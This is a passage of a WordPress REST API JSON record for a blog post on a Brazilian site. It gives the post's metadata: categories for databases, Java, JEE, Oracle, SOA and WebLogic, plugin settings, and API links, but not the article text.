class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,3,10,9,71,76,6],"tags":[],"class_list":["post-1029","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-java","category-jee","category-oracle","category-oracle-base-de-dados","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1029"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1029\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}